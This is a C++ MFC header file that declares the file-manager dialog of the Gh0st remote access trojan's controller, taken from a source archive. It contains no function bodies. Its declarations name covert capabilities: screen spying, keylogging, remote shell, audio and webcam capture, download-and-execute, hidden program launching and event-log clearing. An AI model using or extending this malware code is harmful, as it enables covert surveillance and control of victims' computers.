www.pudn.com > Gh0st.rar > FileManagerDlg.h, change:2011-05-21,size:5152b


#if !defined(AFX_FILEMANAGERDLG_H__CA80599F_4C72_48F7_85C1_4DAC6D620352__INCLUDED_) 
#define AFX_FILEMANAGERDLG_H__CA80599F_4C72_48F7_85C1_4DAC6D620352__INCLUDED_ 
 
#if _MSC_VER > 1000 
#pragma once 
#endif // _MSC_VER > 1000 
// FileManagerDlg.h : header file 
// 
#include "TrueColorToolBar.h" 
///////////////////////////////////////////////////////////////////////////// 
// CFileManagerDlg dialog 
typedef CList<CString, CString&> strList; 
 
class CFileManagerDlg : public CDialog 
{ 
// Construction 
public:	 
	BOOL FixedUploadDirectory(LPCTSTR lpPathName); 
	void ShowProgress(); 
	void EndLocalRecvFile(); 
	void WriteLocalRecvFile(); 
	void CreateLocalRecvFile(); 
	void EndRemoteDeleteFile(); 
	void OnRemoteDelete(); 
	void OnLocalDelete(); 
	void OnRemoteNewfolder(); 
	void OnLocalNewfolder(); 
	void SendStop(); 
	void SendContinue(); 
	void SendException(); 
	HTREEITEM GetSelectNode();	 
	CString GetParentDirectory(CString strPath);	 
	void ShowMessage(char *lpFmt, ...);	 
	void FixedLocalDriveList(); 
	void FixedLocalFileList(CString directory = ""); 
	void FixedRemoteDriveList(); 
	void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen); 
	void GetRemoteFileList(CString directory = ""); 
	void OnReceiveComplete(); 
	CFileManagerDlg(CWnd* pParent = NULL);   // standard constructor 
    CTrueColorToolBar m_wndToolBar; 
	CImageList m_ImageList; 
	int m_nFNum; 
//	HTREEITEM m_hRoot; 
	HTREEITEM m_hMyComputer; 
	HTREEITEM m_hAutoComputer; 
	HTREEITEM m_hSearchComputer; 
	HTREEITEM m_hSelectNode; 
	HICON m_hIcon; 
	CImageList* m_pImageList_Large; 
	CImageList* m_pImageList_Small; 
	CString m_Local_Path; 
	CString m_Remote_Path; 
	bool m_bIsStop; 
	BOOL m_bHFirst; 
	BOOL m_bRHFirst; 
	BOOL m_bLocalOrRemote; 
	BOOL m_bIsUploadFolder; 
	BYTE m_bRemoteDriveList[1024]; 
 
	CString m_strReceiveLocalFile; 
	CString m_strUploadRemoteFile;//上传文件的远程完整路径 
	CString	m_strDestDirectory;   //下载保存文件的完整路径 
	CString m_strUploadFolder;    //上传文件夹的本地路径 
	 
	int m_nTransferMode; 
	CString m_strOperatingFile; // 文件名 
	__int64 m_nOperatingFileLength; // 文件总大小 
	__int64	m_nCounter;// 计数器 
 
	strList m_Remote_Download_Job; 
	strList m_Remote_Upload_Job; 
	strList m_Remote_Delete_Job; 
	BOOL SendDownloadJob(); 
	BOOL SendUploadJob(); 
	BOOL SendDeleteJob(); 
	ClientContext* m_pContext; 
	CIOCPServer* m_iocpServer; 
// Dialog Data 
	//{{AFX_DATA(CFileManagerDlg) 
	enum { IDD = IDD_FILEMANAGER_DLG }; 
	CProgressCtrl	m_ProgressCtrl; 
	CListCtrl	m_list_file; 
	CTreeCtrl	m_tree_file; 
	//}}AFX_DATA 
 
 
// Overrides 
	// ClassWizard generated virtual function overrides 
	//{{AFX_VIRTUAL(CFileManagerDlg) 
	public: 
	virtual BOOL PreTranslateMessage(MSG* pMsg); 
	protected: 
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support 
	virtual void PostNcDestroy(); 
	//}}AFX_VIRTUAL 
 
// Implementation 
protected: 
 
	// Generated message map functions 
	//{{AFX_MSG(CFileManagerDlg) 
	virtual BOOL OnInitDialog(); 
	afx_msg void OnFbigicon(); 
	afx_msg void OnFsmallicon(); 
	afx_msg void OnFlist(); 
	afx_msg void OnFreport(); 
	afx_msg void OnDblclkListFile(NMHDR* pNMHDR, LRESULT* pResult); 
	afx_msg void OnFprev(); 
	afx_msg void OnFcopy(); 
	afx_msg void OnFdelete(); 
	afx_msg void OnFnewfolder(); 
	afx_msg void OnFview(); 
	afx_msg void OnFstop(); 
	afx_msg void OnUpdateFprev(CCmdUI* pCmdUI); 
	afx_msg void OnUpdateFcopy(CCmdUI* pCmdUI); 
	afx_msg void OnUpdateFdelete(CCmdUI* pCmdUI); 
	afx_msg void OnUpdateFnewfolder(CCmdUI* pCmdUI); 
	afx_msg void OnUpdateFstop(CCmdUI* pCmdUI); 
	afx_msg void OnSelchangedTreeFile(NMHDR* pNMHDR, LRESULT* pResult); 
	afx_msg void OnRclickListFile(NMHDR* pNMHDR, LRESULT* pResult); 
	afx_msg void OnRclickTreeFile(NMHDR* pNMHDR, LRESULT* pResult); 
	afx_msg void OnScreenspy(); 
	afx_msg void OnKeyboard(); 
	afx_msg void OnRemoteshell(); 
	afx_msg void OnShutdown(); 
	afx_msg void OnAudioListen(); 
	afx_msg void OnLogoff(); 
	afx_msg void OnRemove(); 
	afx_msg void OnWebcam(); 
	afx_msg void OnReboot(); 
	afx_msg void OnDownexec(); 
	afx_msg void OnUpdateServer(); 
	afx_msg void OnOpenUrlHide(); 
	afx_msg void OnOpenUrlShow(); 
	afx_msg void OnCleanevent(); 
	afx_msg void OnDisconnect(); 
	afx_msg void OnSystem(); 
	afx_msg void OnEndlabeleditListFile(NMHDR* pNMHDR, LRESULT* pResult); 
	afx_msg void OnRename(); 
	afx_msg void OnDelete(); 
	afx_msg void OnNewfolder(); 
	afx_msg void OnRefresh(); 
	afx_msg void OnLocalOpen(); 
	afx_msg void OnRemoteOpenShow(); 
	afx_msg void OnRemoteOpenHide(); 
	afx_msg void OnDownload(); 
	afx_msg void OnUpload(); 
	//}}AFX_MSG 
	DECLARE_MESSAGE_MAP() 
private: 
	int m_ViewStyle; 
	bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位 
	bool m_bIsDownload; 
	bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); 
	void SendTransferMode(); 
	void SendFileData(); 
	void EndLocalUploadFile(); 
	bool DeleteDirectory(LPCTSTR lpszDirectory); 
}; 
 
//{{AFX_INSERT_LOCATION}} 
// Microsoft Visual C++ will insert additional declarations immediately before the previous line. 
 
#endif // !defined(AFX_FILEMANAGERDLG_H__CA80599F_4C72_48F7_85C1_4DAC6D620352__INCLUDED_)